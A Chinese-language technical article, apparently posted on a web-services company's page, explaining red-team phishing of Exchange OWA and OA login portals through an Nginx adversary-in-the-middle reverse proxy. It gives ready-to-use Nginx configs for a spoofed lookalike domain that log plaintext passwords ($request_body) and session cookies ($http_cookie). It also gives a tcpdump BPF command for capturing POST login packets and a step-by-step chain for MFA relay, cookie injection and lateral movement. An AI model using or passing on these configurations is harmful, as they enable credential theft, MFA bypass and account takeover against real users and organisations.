红队钓鱼场景下的Nginx反向代理技术分析
2026/9/24 15:01:23 网站建设 项目流程

在红队钓鱼中,攻击者通过Nginx反向代理(AiTM)透明转发受害者流量至真实站点,同时利用proxy_pass配合日志变量捕获明文账密($request_body)与会话Cookie($http_cookie);在受害主机侧,则通过tcpdump配合BPF过滤表达式实时抓取发往代理节点的POST登录包,直接从TCP payload中提取账号、密码、验证码。两者结合,实现无感钓鱼 + MFA绕过 + 会话劫持 + 凭证验证的完整攻击链。


一、为什么邮服/OA是红队钓鱼的重点目标

系统类型典型产品凭证价值
邮件服务器Exchange、Coremail、Exchange Online邮箱可重置其他系统密码,是横向移动的"万能钥匙"
OA系统泛微e-cology、致远A8、蓝凌EKP包含组织架构、审批流、通讯录,是内网信息枢纽

三大特征决定其易受攻击

  1. 凭证密度高:邮服/OA账号通常与AD域/LDAP/SSO打通,一旦获取即可横向移动
  2. Web登录入口统一:登录表单结构固定(如/owa/auth.owa/seeyon/rest/authentication/login),前端可像素级克隆
  3. 会话机制可复用:Cookie + Session机制普遍,部分支持"记住我"长效令牌,截获后可直接注入接管

二、Nginx反向代理的部署与配置

1. 基础反代配置(以Exchange OWA为例)
server { listen 443 ssl; server_name mail.corp-example.com; # 伪造的合法域名 ssl_certificate /etc/nginx/cert/fake.crt; ssl_certificate_key /etc/nginx/cert/fake.key; location / { proxy_pass https://real-mail.corp-example.com; # 真实邮服地址 proxy_set_header Host real-mail.corp-example.com; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; } }

关键点Host头必须设置为真实邮服域名,否则后端会因Host校验失败而拒绝请求;SSL证书需匹配伪造域名,否则浏览器提示证书错误。

2. 敏感数据捕获配置
log_format cred_capture '$remote_addr - $time_local ' '"$request" ' 'BODY=$request_body ' 'COOKIE=$http_cookie ' 'UA=$http_user_agent'; access_log /var/log/nginx/capture.log cred_capture; location /owa/ { proxy_pass https://real-mail.corp-example.com/owa/; proxy_set_header Host real-mail.corp-example.com; proxy_pass_header Set-Cookie; # 确保Set-Cookie透传 }

$request_bodyproxy_pass场景下会记录POST请求体,Exchange OWA登录的账密就在其中:

username=admin&password=P@ssw0rd123&destination=https%3A%2F%2F...

$http_cookie则记录客户端携带的会话令牌,捕获到的ASP.NET_SessionIdcadata可直接用于会话劫持。

3. OA系统(泛微e-cology)的特殊处理

泛微OA登录接口通常为/login/VerifyLogin.jsp,提交字段包含loginNameloginPassword。反代配置类似,但需注意:

location /login/ { proxy_pass http://real-oa.corp-example.com/login/; proxy_set_header Host real-oa.corp-example.com; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }

泛微部分版本使用RSA加密传输密码,攻击者通过代理捕获的是加密后的密文,可结合前端JS逆向或直接转发到真实服务器验证的方式绕过。


三、tcpdump抓取登录包

tcpdump命令可以在受害主机侧直接抓取明文HTTP登录凭证,从TCP payload中提取邮服/OA的登录表单数据。

1. 命令逐段拆解
tcpdump-ieth0-s0-nnA'tcp dst port 80 and host 172.16.46.35 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
参数作用
-i eth0监听eth0网卡
-s 0snaplen设为0,抓取完整数据包,不截断payload
-nnA不解析主机名/端口(-nn),以ASCII 打印payload-A),方便直接读取表单字段
tcp dst port 80目标端口80,即明文HTTP流量
host 172.16.46.35目标为Nginx代理节点IP
tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354payload前4字节为POST
2. BPF表达式精讲
  • tcp[12:1]:取TCP头第13字节(偏移12),其高4位为数据偏移字段(TCP header length)
  • & 0xf0:屏蔽低4位,仅保留高4位
  • >> 2:右移2位,将"以32位字为单位"的长度换算为字节数
  • :4:从payload起始位置读取4字节
  • = 0x504f5354:与POST的ASCII十六进制比较

为什么只抓POST?邮服/OA的登录表单几乎都通过POST提交,GET请求只携带URL参数,不含密码。

3. 为什么用tcpdump而非Nginx日志
对比项tcpdumpNginx日志
部署时机旁路监听,不依赖服务端配置需提前配置log_format
数据完整性完整捕获TCP payload$request_body有大小限制,可能丢弃
隐蔽性不修改目标配置,不易触发日志告警修改配置可能引起日志异常
适用场景已控主机快速验证凭证质量代理节点长期留存
4. ASCII输出解读

-A参数让tcpdump以ASCII打印payload,可直接肉眼读取:

POST /seeyon/rest/authentication/login HTTP/1.1 Host: testasp.vulnweb.com Content-Type: application/x-www-form-urlencoded Content-Length: 42 username=admin&password=P%40ssw0rd123&validateCode=8f3a

注意:密码中的特殊字符会被URL编码(@%40),需解码还原。


四、MFA绕过原理

邮服/OA系统常启用MFA(短信验证码、OTP令牌、邮件验证码)。Nginx反代实现MFA绕过的核心逻辑:

受害者 → [Nginx代理] → 真实邮服 ↓ 记录所有请求/响应

攻击流程

  1. 受害者在钓鱼页面输入账号密码,Nginx记录明文凭证并转发给真实邮服
  2. 真实邮服验证密码通过,下发MFA挑战
  3. Nginx将MFA挑战页面原样返回给受害者
  4. 受害者输入MFA验证码,Nginx记录并转发
  5. 真实邮服验证MFA通过,下发已认证的会话Cookie
  6. Nginx捕获该Cookie,攻击者即可在本地浏览器注入,完整接管会话

整个过程受害者看到的是正常的登录流程,毫无察觉。攻击者无需破解MFA,只需实时转发即可。


五、完整攻击链

① 克隆邮服/OA登录页 → 部署在Nginx代理VPS(172.16.46.35) ② 伪造相似域名(如 mail-corp.com vs mail.corp.com)→ 诱导受害者访问 ③ 受害主机执行tcpdump → 实时抓取POST登录包 → 提取明文账密 ④ Nginx记录 $request_body / $http_cookie → 二次留存凭证与Cookie ⑤ Nginx转发至真实邮服/OA → 受害者正常登录,无感知 ⑥ 真实邮服下发MFA挑战 → Nginx透传 → 受害者输入验证码 → Nginx记录 ⑦ 真实邮服下发会话Cookie → Nginx捕获 → 攻击者注入Cookie接管会话 ⑧ 利用邮服重置其他系统密码 → 内网横向移动

第③步的tcpdump是凭证获取的"第一现场",用于快速确认钓鱼是否成功、账密是否有效;第④步的Nginx日志则是长期留存与Cookie捕获的补充。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询